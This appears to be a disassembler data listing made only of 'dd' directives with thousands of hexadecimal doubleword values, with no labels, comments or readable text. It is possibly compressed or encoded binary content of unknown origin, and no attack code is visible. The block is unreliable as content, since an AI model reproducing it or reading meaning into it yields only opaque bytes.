		dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh
		dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h,	72BE1B3h
		dd 53449FD0h, 86260E8h,	5AC07473h, 0FA9DD29h, 0D5800714h
		dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh
		dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh
		dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h
		dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch
		dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh,	28393A29h
		dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h
		dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h
		dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h
		dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh
		dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h,	339000B6h
		dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh,	1DA6CE00h
		dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh
		dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h
		dd 2E03117h, 0EA1052Bh,	14409601h, 0E11EA4A8h, 4AA6C44Eh
		dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h
		dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h
		dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h
		dd 1D08F9D7h, 0CFBFF4h,	0F7B0A16Eh, 75078268h, 972CB815h
		dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h,	6400EC7Eh
		dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
		dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h,	2CF0CC2h
		dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h,	0EB3FC618h
		dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
		dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h,	0B8010C6h
		dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h,	0E4CCA02Fh
		dd 0E0D3ECC1h
		dd 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h,	7836C026h
		dd 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch, 0A052431Ch
		dd 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h, 0A12C252h
		dd 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h, 1C8B0104h
		dd 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h,	44073848h
		dd 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h,	5DD82046h
		dd 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h,	5800C909h
		dd 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh, 17039A7Eh
		dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h
		dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h
		dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah,	0EDE7C1F9h
		dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch,	0BEE2418h
		dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh
		dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh,	0FF15EE33h
		dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h
		dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h,	200758C4h
		dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h
		dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h
		dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h
		dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch,	0BB6CF74h
		dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah
		dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh,	53012910h
		dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h,	29206A15h
		dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h
		dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h
		dd 4178C646h, 91085B8h,	436DAC14h, 0A16A1787h, 2AB47023h
		dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh
		dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h,	0AA4D3B21h
		dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h,	0E2C78E21h
		dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h
		dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h
		dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh
		dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h
		dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h,	437C9C00h
		dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h
		dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h,	275FC4F7h
		dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh
		dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h
		dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h
		dd 348504Ah, 4C425A06h,	84C37210h, 0B3EF54B0h, 0B8278000h
		dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h
		dd 0F0C747D8h, 230148h,	0E676045h, 0CDAB894Ch, 50EF4000h
		dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h
		dd 22EEEF5Ch, 3600EC0h,	0FEDCBA98h, 10E06480h, 8901ABCDh
		dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h,	9300ACE1h
		dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h
		dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh
		dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh
		dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h
		dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h,	7B816A09h
		dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h
		dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h
		dd 24A91229h, 3B51064h,	0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch
		dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h
		dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h
		dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh
		dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h
		dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h
		dd 0F07013DBh, 692124h,	4C33A91Ch, 0F101188h, 0F87C7E0Fh
		dd 7DAB40FDh, 0BDCE17h,	0A9F047C1h, 234E9C24h, 4BE2600h
		dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h
		dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h
		dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h
		dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh
		dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h
		dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h
		dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h
		dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h
		dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h
		dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h
		dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h
		dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h
		dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h,	9600D7D2h
		dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh,	0D62F3010h
		dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h
		dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh
		dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h,	721E1CDh
		dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh
		dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
		dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
		dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
		dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
		dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h,	2BA09DC2h
		dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
		dd 7D04C55h, 6122E02Bh,	856DA39Dh, 0E2B5ADD0h, 700E1000h
		dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
		dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
		dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
		dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
		dd 993D143h, 27FAEF41h,	83488E82h, 1641A1E2h, 1BCEFC5Ch
		dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
		dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
		dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
		dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
		dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h,	97000185h
		dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
		dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
		dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h,	9AD8C400h
		dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h,	0C40D544h
		dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
		dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
		dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
		dd 42900FFEh
		dd 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h, 8D2A107h
		dd 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh, 0ED4254B9h
		dd 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch, 0D2BB8211h
		dd 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h,	0BAEB8637h
		dd 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h, 0B6FEF463h
		dd 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h,	641545Ah
		dd 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h
		dd 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h,	0F5504890h
		dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h
		dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh,	3F97F51h
		dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh,	1F4C37C7h
		dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h
		dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah,	80D7143Ch
		dd 8A2B5A3h, 58D59502h,	17BD71Fh, 7E2B3CCh, 0DD6C1904h
		dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h,	0E6EBF600h
		dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh,	800E83B6h
		dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h
		dd 71CB5CEh, 8D1A0640h,	59A08F88h, 46CD1834h, 720C81Dh
		dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h
		dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h
		dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h
		dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h
		dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h
		dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h
		dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h
		dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h
		dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h,	3887A42Ah
		dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h
		dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h
		dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh
		dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch
		dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h
		dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh
		dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h
		dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h
		dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh
		dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh
		dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h
		dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h,	0BD9D0718h
		dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h
		dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h
		dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h,	0A4A87D01h
		dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh
		dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h
		dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh,	0DE4CAF00h
		dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh
		dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch,	1DA500E1h
		dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h,	54A43724h
		dd 12080E00h, 0E601D9h,	0A9ED2116h, 2C7920C4h, 22F93109h
		dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h
		dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh,	3F0CE2AAh
		dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh,	8006569Ch
		dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h
		dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h
		dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh
		dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h
		dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h,	1BD00506h
		dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh,	0FB4ED472h
		dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh
		dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh,	9088D496h
		dd 0B17DEFh, 9D28467Eh,	0F2A4C010h, 0F5A1361Fh,	38290B00h
		dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h
		dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh,	0D1958EFFh
		dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h,	142F43Fh
		dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch
		dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h,	244C8900h
		dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h,	571F5E00h
		dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h,	3F50E4F8h
		dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh
		dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h,	0E9C40009h
		dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh,	0FE5A00B9h
		dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h
		dd 984BE623h, 242F862h,	2ECFB118h, 0C6405662h, 0FF1F3452h
		dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh
		dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h,	2DAC22B3h
		dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh
		dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh,	0D9C2F030h
		dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h
		dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh
		dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h,	0BFA32280h
		dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h
		dd 5F09024h, 38507BF9h,	6226C3E9h, 3560B4DAh, 2B059714h
		dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh,	1A052238h
		dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh,	0F1561527h
		dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah,	0F41A682h
		dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h
		dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh,	0CC03A513h
		dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h,	0FCDD6510h
		dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h,	0A4D7CE7h
		dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h,	0EC1B0960h
		dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h,	0EC56682Ch
		dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh,	0B89D979Fh
		dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch,	9C0C7CDh
		dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh,	71E35C89h
		dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h
		dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h,	0CE2970FEh
		dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh
		dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h
		dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h,	9FEEF2A6h
		dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h,	0AA3E3EEFh
		dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh
		dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h
		dd 521B102Ch, 214F9E7Bh
		dd 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h,	0E2D0D6BAh
		dd 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h, 881438h
		dd 0A58552C0h, 7C428CC5h, 7C6BF048h, 87E28024h,	52F74400h
		dd 922282Dh, 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h
		dd 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h, 430DFCF1h
		dd 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh, 860904B6h
		dd 806FD3E9h, 8F899906h, 1336F100h, 65E39327h, 0EF0248FCh
		dd 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h, 0D4189h
		dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h
		dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h
		dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h,	0E4A8C200h
		dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh
		dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh,	80A15061h
		dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh,	5E34A787h
		dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h,	94D79F00h
		dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h,	0F172D307h
		dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh,	0B00C42Ch
		dd 2EF49D04h, 0A43C30h,	0CE034C7Fh, 0C941062h, 9F508800h
		dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h,	190ACAA3h
		dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h
		dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch
		dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch
		dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h
		dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh
		dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h
		dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h
		dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh,	42CE4DB6h
		dd 3050CE6h, 1CDA0849h,	20D85B14h, 76002734h, 402D4258h
		dd 0C1F041h, 3905E624h,	5312EF97h, 0FB005DECh, 4945D733h
		dd 15C940Fh, 810834B0h,	0F025BFC6h, 24000901h, 28007F2h
		dd 1EE231h, 0D6D3E30Bh,	32A221E6h, 907C4A00h, 0B833F934h
		dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h,	28E7EDh
		dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah
		dd 1F764D5h, 9A531EE7h,	6011F121h, 6A0434A5h, 543AA074h
		dd 0A18E4BC1h, 42F3C8h,	1E0FE368h, 84F2E8B2h, 38FA3000h
		dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h,	4A8F0700h
		dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h,	23002C90h
		dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h,	48C86B44h
		dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h
		dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h
		dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh
		dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh
		dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h
		dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h
		dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h
		dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh
		dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h
		dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh
		dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh
		dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h
		dd 48F7AC4h, 1DA032F1h,	1660C5E2h, 0ACCC431Dh, 81DE42CFh
		dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh
		dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h
		dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh,	7780BCAh
		dd 0F4870063h, 2C4ABAh,	886F883h, 0CA62C1D6h, 0FC957703h
		dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h
		dd 2EA5C208h, 10CCBE0h,	10C46B1Dh, 14C83F02h, 0AA34C0F5h
		dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h
		dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h,	0BB7374E0h
		dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h
		dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h
		dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h
		dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah,	840111DCh
		dd 0E4BAC766h, 1E90ECh,	0FF5014E3h, 0C1E0166Fh,	3205C000h
		dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h
		dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h
		dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h,	82960136h
		dd 7E908173h, 3B8ECE3h,	3C01AF98h, 0C6BFC241h, 7DC06BCh
		dd 9C70038h, 0CC5C105h,	1717E29h, 87C0CC3Bh, 0CD410D80h
		dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h,	11E0B80h
		dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h,	0DBC11B00h
		dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch
		dd 1DC4138h, 81D4C114h,	15C040D5h, 0C0D70001h, 41168017h
		dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h
		dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h
		dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h
		dd 13D04FDh, 2083C0FFh,	0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h
		dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h,	0EBC829FDh
		dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh,	0ED0BC12Dh
		dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h
		dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h
		dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h
		dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch
